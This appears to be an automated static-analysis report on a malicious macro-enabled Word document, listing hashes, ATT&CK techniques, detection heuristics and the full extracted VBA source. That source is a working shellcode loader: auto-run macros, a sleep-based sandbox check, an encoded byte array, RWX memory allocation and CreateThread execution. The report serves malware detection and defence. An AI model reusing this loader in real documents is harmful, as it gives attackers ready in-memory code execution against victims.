Malicious Office (OOXML) / .DOCX — malware analysis report

Static analysis result for SHA-256 e18c8cf91dc3bd54…

MALICIOUS

Office (OOXML) / .DOCX

106.4 KB Created: 2026-04-23 08:12:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2026-06-24
MD5: 34744b3e68f84cdd27074c353f38e4b1 SHA-1: 3b53ffd076c868949b83719b6ae358e3b229eccd SHA-256: e18c8cf91dc3bd545da00cbe3d53167d2b358636cf7400212e56ced898b02ae7
178 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1140 Deobfuscate/Decode Files or Information

The sample is a malicious Office document containing VBA macros, as indicated by multiple heuristic firings and ClamAV detection. The document employs a common enable-macros lure to bypass security measures. The VBA script contains obfuscated code and uses Windows API calls like CreateThread and VirtualAllocExNuma, suggesting it attempts to download and execute a second-stage payload. The specific ClamAV signature 'Doc.Malware.Valyria-10001333-0' is also a key indicator.

Heuristics 6

  • ClamAV: Doc.Malware.Valyria-10001333-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-10001333-0
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Sub Document_Open()
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/2019/extlstIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2023/wordml/word16duIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2024/wordml/sdtformatlockIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3485 bytes
SHA-256: 9c11131e5d3603d836b2f40539222a066b8ba2fd29afcb577dac1ef4b10b9b2c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal SecurityAttributes As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr
Private Declare PtrSafe Function Sleep Lib "kernel32" (ByVal mili As Long) As Long
Private Declare PtrSafe Function GetCurrentProcess Lib "kernel32" () As LongPtr
Private Declare PtrSafe Function VirtualAllocExNuma Lib "kernel32" ( _
    ByVal hProcess As LongPtr, _
    ByVal lpAddress As LongPtr, _
    ByVal dwSize As Long, _
    ByVal flAllocationType As Long, _
    ByVal flProtect As Long, _
    ByVal nndPreferred As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr

Function potato()
    Dim buf As Variant
    Dim addr As LongPtr
    Dim counter As Long
    Dim data As Byte
    Dim res As LongPtr
    
    Dim t1 As Date
    Dim t2 As Date
    Dim time As Long
    
    t1 = Now()
    Sleep (2000)
    t2 = Now()
    time = DateDiff("s", t1, t2)
    
    If time < 2 Then
        Exit Function
    End If
    
    buf = Array(254, 74, 133, 230, 242, 234, 194, 2, 2, 2, 67, 83, 67, 82, 84, 83, 88, 74, 51, 212, 103, 74, 141, 84, 98, 74, 141, 84, 26, 74, 141, 84, 34, 74, 141, 116, 82, 74, 17, 185, 76, 76, 79, 51, 203, 74, 51, 194, 174, 62, _
99, 126, 4, 46, 34, 67, 195, 203, 15, 67, 3, 195, 228, 239, 84, 67, 83, 74, 141, 84, 34, 141, 68, 62, 74, 3, 210, 141, 130, 138, 2, 2, 2, 74, 135, 194, 118, 105, 74, 3, 210, 82, 141, 74, 26, 70, 141, 66, 34, 75, _
3, 210, 229, 88, 74, 1, 203, 67, 141, 54, 138, 74, 3, 216, 79, 51, 203, 74, 51, 194, 174, 67, 195, 203, 15, 67, 3, 195, 58, 226, 119, 243, 78, 5, 78, 38, 10, 71, 59, 211, 119, 218, 90, 70, 141, 66, 38, 75, 3, 210, _
104, 67, 141, 14, 74, 70, 141, 66, 30, 75, 3, 210, 67, 141, 6, 138, 74, 3, 210, 67, 90, 67, 90, 96, 91, 92, 67, 90, 67, 91, 67, 92, 74, 133, 238, 34, 67, 84, 1, 226, 90, 67, 91, 92, 74, 141, 20, 235, 89, 1, _
1, 1, 95, 74, 188, 3, 2, 2, 2, 2, 2, 2, 2, 74, 143, 143, 3, 3, 2, 2, 67, 188, 51, 141, 113, 137, 1, 215, 189, 242, 183, 164, 88, 67, 188, 168, 151, 191, 159, 1, 215, 74, 133, 198, 42, 62, 8, 126, 12, 130, _
253, 226, 119, 7, 189, 73, 21, 116, 113, 108, 2, 91, 67, 139, 220, 1, 215, 101, 99, 110, 101, 48, 103, 122, 103, 2)

    For i = 0 To UBound(buf)
        buf(i) = (buf(i) - 2) And &HFF
    Next i
    Dim hProc As LongPtr
    hProc = GetCurrentProcess()
    Debug.Print "hProc = &H" & Hex(hProc)  ' Should be FFFFFFFFFFFFFFFF
    addr = VirtualAllocExNuma(hProc, 0, UBound(buf) + 1, &H3000, &H40, 0)
    If addr = 0 Then
        Exit Function
    End If
    
    For counter = LBound(buf) To UBound(buf)
        data = CByte(buf(counter))
        res = RtlMoveMemory(addr + counter, data, 1)
    Next counter
    
    res = CreateThread(0, 0, addr, 0, 0, 0)
    If res = 0 Then
        MsgBox "CreateThread failed"
        Exit Function
    End If
End Function

Sub Document_Open()
    potato
End Sub

Sub AutoOpen()
    potato
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 15360 bytes
SHA-256: 44d0f9948ef6db0543016312e4dd914b052e46a6af617f7c3da97f32e73fc922
Detection
ClamAV: Doc.Malware.Valyria-10001333-0
Obfuscation or payload: unlikely